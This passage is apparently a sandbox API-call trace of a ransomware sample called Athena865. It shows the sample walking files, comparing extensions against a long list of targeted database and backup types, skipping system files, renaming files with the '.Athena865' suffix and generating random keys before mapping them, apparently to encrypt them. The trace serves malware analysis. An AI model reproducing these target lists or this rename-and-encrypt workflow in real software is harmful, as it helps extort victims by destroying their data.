(lpString1="get", lpString2="ade") returned 1 [0053.998] lstrlenW (lpString="adf") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="adf") returned 1 [0053.998] lstrlenW (lpString="adn") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="adn") returned 1 [0053.998] lstrlenW (lpString="adp") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="adp") returned 1 [0053.998] lstrlenW (lpString="alf") returned 3 [0053.998] lstrcmpiW (lpString1="get", lpString2="alf") returned 1 [0053.999] lstrlenW (lpString="ask") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="ask") returned 1 [0053.999] lstrlenW (lpString="btr") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="btr") returned 1 [0053.999] lstrlenW (lpString="cat") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="cat") returned 1 [0053.999] lstrlenW (lpString="cdb") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="cdb") returned 1 [0053.999] lstrlenW (lpString="ckp") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="ckp") returned 1 [0053.999] lstrlenW (lpString="cma") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="cma") returned 1 [0053.999] lstrlenW (lpString="cpd") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="cpd") returned 1 [0053.999] lstrlenW (lpString="dacpac") returned 6 [0053.999] lstrcmpiW (lpString1="Target", lpString2="dacpac") returned 1 [0053.999] lstrlenW (lpString="dad") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="dad") returned 1 [0053.999] lstrlenW (lpString="dadiagrams") returned 10 [0053.999] lstrcmpiW (lpString1="ndToTarget", lpString2="dadiagrams") returned 1 [0053.999] lstrlenW (lpString="daschema") returned 8 [0053.999] lstrcmpiW (lpString1="ToTarget", lpString2="daschema") returned 1 [0053.999] lstrlenW (lpString="db-journal") returned 10 [0053.999] lstrcmpiW (lpString1="ndToTarget", lpString2="db-journal") returned 1 [0053.999] lstrlenW (lpString="db-shm") returned 6 [0053.999] lstrcmpiW (lpString1="Target", lpString2="db-shm") returned 1 [0053.999] lstrlenW (lpString="db-wal") returned 6 [0053.999] lstrcmpiW (lpString1="Target", lpString2="db-wal") returned 1 [0053.999] lstrlenW (lpString="dbc") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="dbc") returned 1 [0053.999] lstrlenW (lpString="dbs") returned 3 [0053.999] lstrcmpiW (lpString1="get", lpString2="dbs") returned 1 [0054.000] lstrlenW (lpString="dbt") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dbt") returned 1 [0054.000] lstrlenW (lpString="dbv") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dbv") returned 1 [0054.000] lstrlenW (lpString="dbx") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dbx") returned 1 [0054.000] lstrlenW (lpString="dcb") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dcb") returned 1 [0054.000] lstrlenW (lpString="dct") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dct") returned 1 [0054.000] lstrlenW (lpString="dcx") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dcx") returned 1 [0054.000] lstrlenW (lpString="ddl") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="ddl") returned 1 [0054.000] lstrlenW (lpString="dlis") returned 4 [0054.000] lstrcmpiW (lpString1="rget", lpString2="dlis") returned 1 [0054.000] lstrlenW (lpString="dp1") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dp1") returned 1 [0054.000] lstrlenW (lpString="dqy") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dqy") returned 1 [0054.000] lstrlenW (lpString="dsk") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dsk") returned 1 [0054.000] lstrlenW (lpString="dsn") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dsn") returned 1 [0054.000] lstrlenW (lpString="dtsx") returned 4 [0054.000] lstrcmpiW (lpString1="rget", lpString2="dtsx") returned 1 [0054.000] lstrlenW (lpString="dxl") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="dxl") returned 1 [0054.000] lstrlenW (lpString="eco") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="eco") returned 1 [0054.000] lstrlenW (lpString="ecx") returned 3 [0054.000] lstrcmpiW (lpString1="get", lpString2="ecx") returned 1 [0054.000] lstrlenW (lpString="edb") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="edb") returned 1 [0054.001] lstrlenW (lpString="epim") returned 4 [0054.001] lstrcmpiW (lpString1="rget", lpString2="epim") returned 1 [0054.001] lstrlenW (lpString="fcd") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fcd") returned 1 [0054.001] lstrlenW (lpString="fdb") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fdb") returned 1 [0054.001] lstrlenW (lpString="fic") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fic") returned 1 [0054.001] lstrlenW (lpString="flexolibrary") returned 12 [0054.001] lstrcmpiW (lpString1="SendToTarget", lpString2="flexolibrary") returned 1 [0054.001] lstrlenW (lpString="fm5") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fm5") returned 1 [0054.001] lstrlenW (lpString="fmp") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fmp") returned 1 [0054.001] lstrlenW (lpString="fmp12") returned 5 [0054.001] lstrcmpiW (lpString1="arget", lpString2="fmp12") returned -1 [0054.001] lstrlenW (lpString="fmpsl") returned 5 [0054.001] lstrcmpiW (lpString1="arget", lpString2="fmpsl") returned -1 [0054.001] lstrlenW (lpString="fol") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fol") returned 1 [0054.001] lstrlenW (lpString="fp3") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fp3") returned 1 [0054.001] lstrlenW (lpString="fp4") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fp4") returned 1 [0054.001] lstrlenW (lpString="fp5") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fp5") returned 1 [0054.001] lstrlenW (lpString="fp7") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fp7") returned 1 [0054.001] lstrlenW (lpString="fpt") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="fpt") returned 1 [0054.001] lstrlenW (lpString="frm") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="frm") returned 1 [0054.001] lstrlenW (lpString="gdb") returned 3 [0054.001] lstrcmpiW (lpString1="get", lpString2="gdb") returned 1 [0054.002] lstrlenW (lpString="gdb") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="gdb") returned 1 [0054.002] lstrlenW (lpString="grdb") returned 4 [0054.002] lstrcmpiW (lpString1="rget", lpString2="grdb") returned 1 [0054.002] lstrlenW (lpString="gwi") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="gwi") returned -1 [0054.002] lstrlenW (lpString="hdb") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="hdb") returned -1 [0054.002] lstrlenW (lpString="his") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="his") returned -1 [0054.002] lstrlenW (lpString="ib") returned 2 [0054.002] lstrcmpiW (lpString1="et", lpString2="ib") returned -1 [0054.002] lstrlenW (lpString="idb") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="idb") returned -1 [0054.002] lstrlenW (lpString="ihx") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="ihx") returned -1 [0054.002] lstrlenW (lpString="itdb") returned 4 [0054.002] lstrcmpiW (lpString1="rget", lpString2="itdb") returned 1 [0054.002] lstrlenW (lpString="itw") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="itw") returned -1 [0054.002] lstrlenW (lpString="jet") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="jet") returned -1 [0054.002] lstrlenW (lpString="jtx") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="jtx") returned -1 [0054.002] lstrlenW (lpString="kdb") returned 3 [0054.002] lstrcmpiW (lpString1="get", lpString2="kdb") returned -1 [0054.002] lstrlenW (lpString="kexi") returned 4 [0054.002] lstrcmpiW (lpString1="rget", lpString2="kexi") returned 1 [0054.002] lstrlenW (lpString="kexic") returned 5 [0054.002] lstrcmpiW (lpString1="arget", lpString2="kexic") returned -1 [0054.002] lstrlenW (lpString="kexis") returned 5 [0054.002] lstrcmpiW (lpString1="arget", lpString2="kexis") returned -1 [0054.003] lstrlenW (lpString="lgc") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="lgc") returned -1 [0054.003] lstrlenW (lpString="lwx") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="lwx") returned -1 [0054.003] lstrlenW (lpString="maf") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="maf") returned -1 [0054.003] lstrlenW (lpString="maq") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="maq") returned -1 [0054.003] lstrlenW (lpString="mar") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mar") returned -1 [0054.003] lstrlenW (lpString="marshal") returned 7 [0054.003] lstrcmpiW (lpString1="oTarget", lpString2="marshal") returned 1 [0054.003] lstrlenW (lpString="mas") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mas") returned -1 [0054.003] lstrlenW (lpString="mav") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mav") returned -1 [0054.003] lstrlenW (lpString="maw") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="maw") returned -1 [0054.003] lstrlenW (lpString="mdbhtml") returned 7 [0054.003] lstrcmpiW (lpString1="oTarget", lpString2="mdbhtml") returned 1 [0054.003] lstrlenW (lpString="mdn") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mdn") returned -1 [0054.003] lstrlenW (lpString="mdt") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mdt") returned -1 [0054.003] lstrlenW (lpString="mfd") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mfd") returned -1 [0054.003] lstrlenW (lpString="mpd") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mpd") returned -1 [0054.003] lstrlenW (lpString="mrg") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mrg") returned -1 [0054.003] lstrlenW (lpString="mud") returned 3 [0054.003] lstrcmpiW (lpString1="get", lpString2="mud") returned -1 [0054.003] lstrlenW (lpString="mwb") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="mwb") returned -1 [0054.004] lstrlenW (lpString="myd") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="myd") returned -1 [0054.004] lstrlenW (lpString="ndf") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="ndf") returned -1 [0054.004] lstrlenW (lpString="nnt") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="nnt") returned -1 [0054.004] lstrlenW (lpString="nrmlib") returned 6 [0054.004] lstrcmpiW (lpString1="Target", lpString2="nrmlib") returned 1 [0054.004] lstrlenW (lpString="ns2") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="ns2") returned -1 [0054.004] lstrlenW (lpString="ns3") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="ns3") returned -1 [0054.004] lstrlenW (lpString="ns4") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="ns4") returned -1 [0054.004] lstrlenW (lpString="nsf") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="nsf") returned -1 [0054.004] lstrlenW (lpString="nv") returned 2 [0054.004] lstrcmpiW (lpString1="et", lpString2="nv") returned -1 [0054.004] lstrlenW (lpString="nv2") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="nv2") returned -1 [0054.004] lstrlenW (lpString="nwdb") returned 4 [0054.004] lstrcmpiW (lpString1="rget", lpString2="nwdb") returned 1 [0054.004] lstrlenW (lpString="nyf") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="nyf") returned -1 [0054.004] lstrlenW (lpString="odb") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="odb") returned -1 [0054.004] lstrlenW (lpString="odb") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="odb") returned -1 [0054.004] lstrlenW (lpString="oqy") returned 3 [0054.004] lstrcmpiW (lpString1="get", lpString2="oqy") returned -1 [0054.004] lstrlenW (lpString="ora") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="ora") returned -1 [0054.005] lstrlenW (lpString="orx") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="orx") returned -1 [0054.005] lstrlenW (lpString="owc") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="owc") returned -1 [0054.005] lstrlenW (lpString="p96") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="p96") returned -1 [0054.005] lstrlenW (lpString="p97") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="p97") returned -1 [0054.005] lstrlenW (lpString="pan") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="pan") returned -1 [0054.005] lstrlenW (lpString="pdb") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="pdb") returned -1 [0054.005] lstrlenW (lpString="pdm") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="pdm") returned -1 [0054.005] lstrlenW (lpString="pnz") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="pnz") returned -1 [0054.005] lstrlenW (lpString="qry") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="qry") returned -1 [0054.005] lstrlenW (lpString="qvd") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="qvd") returned -1 [0054.005] lstrlenW (lpString="rbf") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="rbf") returned -1 [0054.005] lstrlenW (lpString="rctd") returned 4 [0054.005] lstrcmpiW (lpString1="rget", lpString2="rctd") returned 1 [0054.005] lstrlenW (lpString="rod") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="rod") returned -1 [0054.005] lstrlenW (lpString="rodx") returned 4 [0054.005] lstrcmpiW (lpString1="rget", lpString2="rodx") returned -1 [0054.005] lstrlenW (lpString="rpd") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="rpd") returned -1 [0054.005] lstrlenW (lpString="rsd") returned 3 [0054.005] lstrcmpiW (lpString1="get", lpString2="rsd") returned -1 [0054.005] lstrlenW (lpString="sas7bdat") returned 8 [0054.006] lstrcmpiW (lpString1="ToTarget", lpString2="sas7bdat") returned 1 [0054.006] lstrlenW (lpString="sbf") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="sbf") returned -1 [0054.006] lstrlenW (lpString="scx") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="scx") returned -1 [0054.006] lstrlenW (lpString="sdb") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="sdb") returned -1 [0054.006] lstrlenW (lpString="sdc") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="sdc") returned -1 [0054.006] lstrlenW (lpString="sdf") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="sdf") returned -1 [0054.006] lstrlenW (lpString="sis") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="sis") returned -1 [0054.006] lstrlenW (lpString="spq") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="spq") returned -1 [0054.006] lstrlenW (lpString="te") returned 2 [0054.006] lstrcmpiW (lpString1="et", lpString2="te") returned -1 [0054.006] lstrlenW (lpString="teacher") returned 7 [0054.006] lstrcmpiW (lpString1="oTarget", lpString2="teacher") returned -1 [0054.006] lstrlenW (lpString="tmd") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="tmd") returned -1 [0054.006] lstrlenW (lpString="tps") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="tps") returned -1 [0054.006] lstrlenW (lpString="trc") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="trc") returned -1 [0054.006] lstrlenW (lpString="trc") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="trc") returned -1 [0054.006] lstrlenW (lpString="trm") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="trm") returned -1 [0054.006] lstrlenW (lpString="udb") returned 3 [0054.006] lstrcmpiW (lpString1="get", lpString2="udb") returned -1 [0054.006] lstrlenW (lpString="udl") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="udl") returned -1 [0054.007] lstrlenW (lpString="usr") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="usr") returned -1 [0054.007] lstrlenW (lpString="v12") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="v12") returned -1 [0054.007] lstrlenW (lpString="vis") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="vis") returned -1 [0054.007] lstrlenW (lpString="vpd") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="vpd") returned -1 [0054.007] lstrlenW (lpString="vvv") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="vvv") returned -1 [0054.007] lstrlenW (lpString="wdb") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="wdb") returned -1 [0054.007] lstrlenW (lpString="wmdb") returned 4 [0054.007] lstrcmpiW (lpString1="rget", lpString2="wmdb") returned -1 [0054.007] lstrlenW (lpString="wrk") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="wrk") returned -1 [0054.007] lstrlenW (lpString="xdb") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="xdb") returned -1 [0054.007] lstrlenW (lpString="xld") returned 3 [0054.007] lstrcmpiW (lpString1="get", lpString2="xld") returned -1 [0054.007] lstrlenW (lpString="xmlff") returned 5 [0054.007] lstrcmpiW (lpString1="arget", lpString2="xmlff") returned -1 [0054.007] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.Athena865") returned 92 [0054.007] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\documents and settings\\default\\sendto\\compressed (zipped) folder.zfsendtotarget"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\compressed (zipped) folder.zfsendtotarget.athena865"), dwFlags=0x1) returned 1 [0054.009] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\compressed (zipped) folder.zfsendtotarget.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.009] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3) returned 1 [0054.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0054.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.009] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.010] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.010] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.010] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x17c [0054.012] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000 [0054.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.014] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.014] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.014] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.014] CloseHandle (hObject=0x17c) returned 1 [0054.015] CloseHandle (hObject=0x154) returned 1 [0054.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0054.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.015] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c45a701, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb52ab9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".") returned 1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="..") returned 1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="windows") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="bootmgr") returned 1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="temp") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="pagefile.sys") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="boot") returned 1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="ids.txt") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="ntuser.dat") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="perflogs") returned -1 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2="MSBuild") returned -1 [0054.015] lstrlenW (lpString="Desktop (create shortcut).DeskLink") returned 34 [0054.015] lstrcpyW (in: lpString1=0x241e89a, lpString2="Desktop (create shortcut).DeskLink" | out: lpString1="Desktop (create shortcut).DeskLink") returned="Desktop (create shortcut).DeskLink" [0054.015] lstrlenW (lpString="Desktop (create shortcut).DeskLink") returned 34 [0054.015] lstrlenW (lpString="Athena865") returned 9 [0054.015] lstrcmpiW (lpString1=".DeskLink", lpString2="Athena865") returned -1 [0054.015] lstrlenW (lpString=".dll") returned 4 [0054.015] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".dll") returned 1 [0054.015] lstrlenW (lpString=".lnk") returned 4 [0054.016] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".lnk") returned 1 [0054.016] lstrlenW (lpString=".ini") returned 4 [0054.016] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".ini") returned 1 [0054.016] lstrlenW (lpString=".sys") returned 4 [0054.016] lstrcmpiW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".sys") returned 1 [0054.016] lstrlenW (lpString="Desktop (create shortcut).DeskLink") returned 34 [0054.016] lstrlenW (lpString="bak") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="bak") returned 1 [0054.016] lstrlenW (lpString="ba_") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="ba_") returned 1 [0054.016] lstrlenW (lpString="dbb") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="dbb") returned 1 [0054.016] lstrlenW (lpString="vmdk") returned 4 [0054.016] lstrcmpiW (lpString1="Link", lpString2="vmdk") returned -1 [0054.016] lstrlenW (lpString="rar") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="rar") returned -1 [0054.016] lstrlenW (lpString="zip") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="zip") returned -1 [0054.016] lstrlenW (lpString="tgz") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="tgz") returned -1 [0054.016] lstrlenW (lpString="vbox") returned 4 [0054.016] lstrcmpiW (lpString1="Link", lpString2="vbox") returned -1 [0054.016] lstrlenW (lpString="vdi") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="vdi") returned -1 [0054.016] lstrlenW (lpString="vhd") returned 3 [0054.016] lstrcmpiW (lpString1="ink", lpString2="vhd") returned -1 [0054.016] lstrlenW (lpString="vhdx") returned 4 [0054.016] lstrcmpiW (lpString1="Link", lpString2="vhdx") returned -1 [0054.016] lstrlenW (lpString="avhd") returned 4 [0054.016] lstrcmpiW (lpString1="Link", lpString2="avhd") returned 1 [0054.016] lstrlenW (lpString="db") returned 2 [0054.016] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0054.016] lstrlenW (lpString="db2") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="db2") returned 1 [0054.017] lstrlenW (lpString="db3") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="db3") returned 1 [0054.017] lstrlenW (lpString="dbf") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="dbf") returned 1 [0054.017] lstrlenW (lpString="mdf") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="mdf") returned -1 [0054.017] lstrlenW (lpString="mdb") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="mdb") returned -1 [0054.017] lstrlenW (lpString="sql") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="sql") returned -1 [0054.017] lstrlenW (lpString="sqlite") returned 6 [0054.017] lstrcmpiW (lpString1="skLink", lpString2="sqlite") returned -1 [0054.017] lstrlenW (lpString="sqlite3") returned 7 [0054.017] lstrcmpiW (lpString1="eskLink", lpString2="sqlite3") returned -1 [0054.017] lstrlenW (lpString="sqlitedb") returned 8 [0054.017] lstrcmpiW (lpString1="DeskLink", lpString2="sqlitedb") returned -1 [0054.017] lstrlenW (lpString="xml") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="xml") returned -1 [0054.017] lstrlenW (lpString="$er") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="$er") returned 1 [0054.017] lstrlenW (lpString="4dd") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="4dd") returned 1 [0054.017] lstrlenW (lpString="4dl") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="4dl") returned 1 [0054.017] lstrlenW (lpString="^^^") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="^^^") returned 1 [0054.017] lstrlenW (lpString="abs") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="abs") returned 1 [0054.017] lstrlenW (lpString="abx") returned 3 [0054.017] lstrcmpiW (lpString1="ink", lpString2="abx") returned 1 [0054.017] lstrlenW (lpString="accdb") returned 5 [0054.017] lstrcmpiW (lpString1="kLink", lpString2="accdb") returned 1 [0054.018] lstrlenW (lpString="accdc") returned 5 [0054.018] 